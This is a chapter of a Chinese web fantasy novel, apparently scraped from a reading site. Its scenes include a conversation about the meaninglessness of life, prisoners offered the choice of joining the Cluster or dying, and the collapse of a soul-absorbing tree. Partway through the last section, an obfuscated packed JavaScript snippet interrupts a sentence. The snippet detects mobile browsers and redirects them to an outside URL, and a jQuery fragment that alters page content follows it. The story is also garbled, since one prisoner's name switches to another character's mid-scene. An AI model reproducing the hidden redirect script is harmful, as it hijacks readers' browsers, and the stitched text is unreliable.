32.第 32 章

作品:《《契子》衍生——熵增情书

    斜阳把窗棂的影子投在地板上,刻萤拿起月季的茎根,用剪刀细细裁剪棘刺。


    池朔盯着沙发扶手上的花纹,那些盘绕的花纹让池朔想起了血雨落下的纹路。他别过头不再去看。


    茶几上的茶杯早已凉透,第三只茶杯还在孤独地冒着热气———这原本是弈的位置,但他又不知道去哪了。


    独自留在这里的池朔不知道该做什么,等他回过神来才发现他除了力量早已一无所有。就连弈对他也是若即若离的态度,上一秒笑着和你说话,下一秒就能消失不见。


    "要尝尝糖渍梅子吗?"少女忽然开口,腕间的银铃随着修剪动作轻响。她将一支过长的月季斜斜插入瓶口。


    她似乎是看出池朔的不自在所以在找话题。


    也许该和她说些什么,池朔的手指敲动着真皮沙发他尝试着问:“不用了谢谢,那个你叫刻萤是吧?”


    刻萤修剪着枝桠头也不回地说道:“嗯,你想和我聊天吗?你看上去很无聊。”


    “你为什么现在还是雏态呢?”


    “因为不想,我不想结契。我很弱,在你们看来一无是处。”刻萤用一种活泼的声线说,“我希望获得存在的意义,而不是成为附庸。”


    池朔又问:“所以你到底是如何加入集群的?”


    “我没什么精彩的故事我只是厌倦了。”刻萤说,“我从前也是璧空的学生,我前一届的师兄师姐们不愿结契,然后嘛……他们一直不结契直到所有人进入觉醒期自相残杀。”


    “那个时候我在天台上刚好能看到他们,他们在体育馆里。我就那么看着突然觉得这一切都没有意义,杀戮没有意义、悲伤没有意义、反抗没有意义、生活没有意义。”刻萤说,“一起都太无趣了。”


    当提到体育馆的往事时,刻萤正在调整月季的方向。


    “总而言之,那是一种孤独、空虚的感觉。而集群注意到了我,母亲一直在聆听宇宙中的孤独。我想我在天宿中找不到活着的感觉为什么不加入集群呢?”


    “由亿万生命组成的集群肯定能给我答案吧。”


    池朔不明白他从未想过意义之类的问题,刻萤为什么会从死亡中产生对意义的思考,他说:“为什么没有意义?我们的喜怒哀乐不是真实存在的吗?”


    刻萤指尖拂过花瓣说:“见过朝生暮死的蜉蝣吗?它们在日出时振翅,正午□□,日暮时尸体能铺满整条溪流”


    她忽然抬眼:“你说这些虫子活着的意义是什么?”


    “我不觉得我们是虫子”池朔回答。


    但刻萤却充耳不闻:“但我们真的太渺小、太短暂了,悲伤与快乐都是短短一瞬。雏态觉醒期暴动后整个校园都弥漫在悲伤中,但只是短短的一瞬不过几个月后人们就遗忘了这件事。学校也不愿学生再讨论这件事。”


    “后面的雏态们被结契美好的谎言欺骗在痛苦中走向成年再走向死亡,没有意义就连悲伤也没有意义。”刻萤始终保持着微笑用一种活泼的语气说着。


    池朔觉得她也有病。


    “你们在聊什么?”熟悉的声音从门口响起,不知何时弈已经站在了那里。


    刻萤将花瓶摆好说:“只是在聊我的往事,您忙完了?”


    集群所有人对弈的态度都异常尊敬但池朔没有享受到一点红利,每次两人站在一起池朔总是被无视的那一个。


    弈坐在池朔旁边拿起已经凉掉的茶一饮而尽,刻萤收拾好插花材料回到了自己的房间。


    沉默蔓延,但确切的说是池朔保持沉默。弈已经打开手机玩游戏了。


    又是这种感觉……


    但这次弈却突然说:“你怎么了?”


    “没什么……你这次去哪了?”池朔问。


    “不告诉你”


    果然还是这样,池朔会想起刻萤说的“孤独”他突然感觉自己也有点孤独。他看向弈突然很好奇他是否有孤独的感觉。


    “你有过孤独的感觉吗?”池朔问。


    “没有,我不感觉孤独。”弈说。


    一声叹息从池朔嘴里泄露,他尝试握住弈的手。弈放下手机看向他随即也握住了池朔。


    池朔朝弈靠近缓缓说:“我不知道该做什么,我真的什么都做不了你为什么要让我知道这一切。”他靠在弈的肩膀上回想着之前在学校的生活。


    “少年,我问过你的,你说你想要也想知道。”


    “我不知道”池朔的声音有些压抑。


    他突然将弈抱住,他需要做些什么他需要放空自己的大脑。


    池朔的指尖触到弈腕间脉搏,弈只是看着他露出了一种他从未见过也无法解读的表情。


    他们回到房间时不小心碰倒了一个花瓶,弈对池朔说没关系,池朔回头看了眼碎裂一地的花瓶最后回到房间。


    斜阳落下,雨滴伴随着夜幕降临。


    窗外的月季被骤雨打得乱颤,潮湿空气顺着窗户缝隙飘进。


    池朔感觉自己的呼吸频率正在和外面的雨声重合——那是急促的呼吸。


    “这雨会下一整夜”他听见弈对他说。


    某种类似丝绸撕裂的声音混在雨声里,分不清是衣料哀鸣。那声音细微而尖锐,像是在黑暗中被压抑的哭泣,又像是遥远记忆中的回响。


    雨点敲打着窗户,发出沉闷而有节奏的声响,与那撕裂声交织在一起,形成了一种奇异的和谐。


    ————


    天宿的防线在集群的猛烈攻势下迅速崩溃,这场战争里死了许多人,包括那些无辜的契子。然而,在这场浩劫中,楼寻却意外地幸存了下来。


    他被囚禁在一间孤寂的房间里,几个小时前,他的契子惨死在他的面前,那一幕如同噩梦般挥之不去。


    突然,门被轻轻推开了,走进来的是他曾经的同学——岸辰。


    “你也背叛了天宿吗?”楼寻的声音带着一丝颤抖,他的眼神中充满了疑惑。


    岸辰没有直接回答他的问题,只是说:“你现在有两个选择,一是加入我们,二是死亡。”


    楼寻低声说:“我还想再见雾宜一面。”


    不论如何他也想再见一面。


    岸辰摇了摇头,道:“很遗憾,那位殿下可能没空见你。选择吧。”


    池朔微微抬头,眼中闪过一丝失望就连语气也带上了讥讽:“殿下?哈,他的身份很高吗,还是说他本来就是集群的间谍?”


    岸辰看着他:“这不是你该知道的事。你之所以还活着,是因为那位殿下特别交代的,他说要给你一个选择的机会。”


    池朔的眼神中闪过一丝决绝:“杀了我吧,我永远忠于天宿。”


    岸辰沉默了片刻,似乎在权衡着什么,最终他深吸了一口气,缓缓地说:“那么,你的选择已经很明显了。”


    池朔闭上眼睛,等待着死亡降临。


    不一会岸辰离开房间走进另一个房间,另一个房间里洛淼正坐在那里。他见到岸辰的一瞬间面露惊讶。


    “你……也加入集群了?”


    岸辰点点头把对楼寻说的话重复了一遍。


    “我不知道,如果你们口中的自由是融入集体从思想上达到统一那是真正的自由吗?”洛淼沉默了很久才回答。


    “自由不是选择题,是生存题。当整个星系都在重组,不当流星就只能当尘埃。”他调出天宿人被残杀的影像,“你看,大部分活下来的都选择加入集群——他们比你更早明白,活着的思想才有资格讨论自由”


    ————


    天际树——那株不足五米的古木正发出风铃般的轻吟,枝桠间垂落的银丝像输液管般连接着四周的透明舱体。


    某个舱内漂浮着婴儿形态的灵魂,淡金色的光晕正被银丝缓缓抽离——那是天宿人轮回前必经的净化仪式。


    天宿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087599|162994||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人以它为中心建立了一所研究所,灵魂在此清洗又再次进入轮回。


    实际上这棵树是界主的手笔,祂通过天际树吸收灵魂。这就是天宿人的灵魂普遍比其他生物弱只有通过结契才能变强的原因。


    克斯汀带领着集群的成员们缓缓走向天际树,他们的身影在树影下显得庄严肃穆。弈和池朔则静静地站在后方,目睹着这一切。


    “弈!”一个熟悉的声音突然响起,流金头戴与集群人相同的角,正兴奋地向弈挥手致意。


    弈的目光被吸引过去,他上下打量着流金的新装饰:“你这角?”


    流金轻轻抚摸着她头上的角饰,眼中闪过一丝自豪:“是珂特送我的,好看吗?”


    弈微微一笑,点头称赞:“非常好看。”


    池朔很想问弈流金的身份,但考虑到周围有这么多人,他还是忍住了没有开口。然而,流金似乎注意到了池朔的目光,她好奇地问:“弈,他是?”


    弈简洁地回答:“我的同学。”


    “哦哦。”流金点了点头,随后将注意力转回到天际树,那棵象征着集群文明的古老树木上。


    池朔心中虽然还有许多疑问,但他知道,现在不是追问的时候。他的目光也随着流金的视线,投向了那棵在风中轻轻摇曳的天际树,心中充满了对即将发生事情的期待和不安。


    克斯汀走向天际树将手掌覆上去,她伸手触碰树干的瞬间,天际树发出管风琴般的轰鸣,枝条间垂落的银丝齐齐绷直。


    池朔看见连接最近舱体的银丝突然暴涨,舱内婴儿形态的灵魂被抽成细线,顺着导管注入树干核心。


    流金蹦跳来到天际树周围,天际树的枝干开始垂落。


    "弈,这个超好看诶。"她攥着截断裂的银枝,发梢沾满萤火虫似的光点。


    "那是界主的神经突触。"弈弹指震碎她手中的残枝,飞溅的银屑在空中消散,"当心被反噬成养料。"


    流金一脸失望。


    天际树开始剧烈痉挛,叶片上的银光如退潮般收缩回主干。


    连接舱体的银丝接连崩断,失去能量供给的灵魂像漏气的气球,在舱内扭曲成狰狞的形状。


    树干表皮开始龟裂,裂缝中涌出胶状的银色物质。


    池朔看见某个舱体突然炸裂,成年形态的天宿人挣扎着爬出,却在触及空气的瞬间汽化成雾。


    当天际树的光辉最终在夜空中消散,克斯汀缓缓走向弈,伸出了手。“能遇见您,是集群的幸运。”克斯汀的声音中带着一种超然的平静,“我不知道集群是否能够抵御那不可避免的天灾,也许我的文明终将回归到虚无之中。但幸运的是,您见证了这一切的发生。”


    克斯汀清澈,她继续说道:“我想将我的一部分交给您,这是集群的火种。当集群文明的火焰熄灭之时,请将它投入任意的时空裂隙。您愿意接受我的这个请求吗?”


    弈紧握着克斯汀的手,也是伊和弥的手,回应:“我会的。”


    在他们双手相触的那一瞬间,伊和弥的灵魂、意识、情感在弈的数据中交织,化作了一份群星颂章,永恒而璀璨。


    克斯汀松开了手,眼中闪烁着感激的光芒:“我将永远铭记您的恩情。”


    这一幕让池朔不禁想起了刻萤曾经谈论过的意义。他心中涌起了疑惑:这样的文明,也会受到天灾的困扰吗?活着的意义又是什么?难道仅仅是为了见证那最终的毁灭吗?


    天宿为了自由而反抗,集群因天灾而远航,一个又一个生命在这个故事中凋零,最终只是为了见证那不可避免的毁灭。那么,过去的一切努力和奋斗又是为了什么?


    池朔抬头仰望天空,天空依旧明媚,看不出半丝阴霾。


    他寻找着答案,却只感到深深的迷茫。在这个广阔无垠的宇宙中,生命的意义和目的似乎变得模糊不清,如同那遥远的星辰,闪烁着未知的光芒。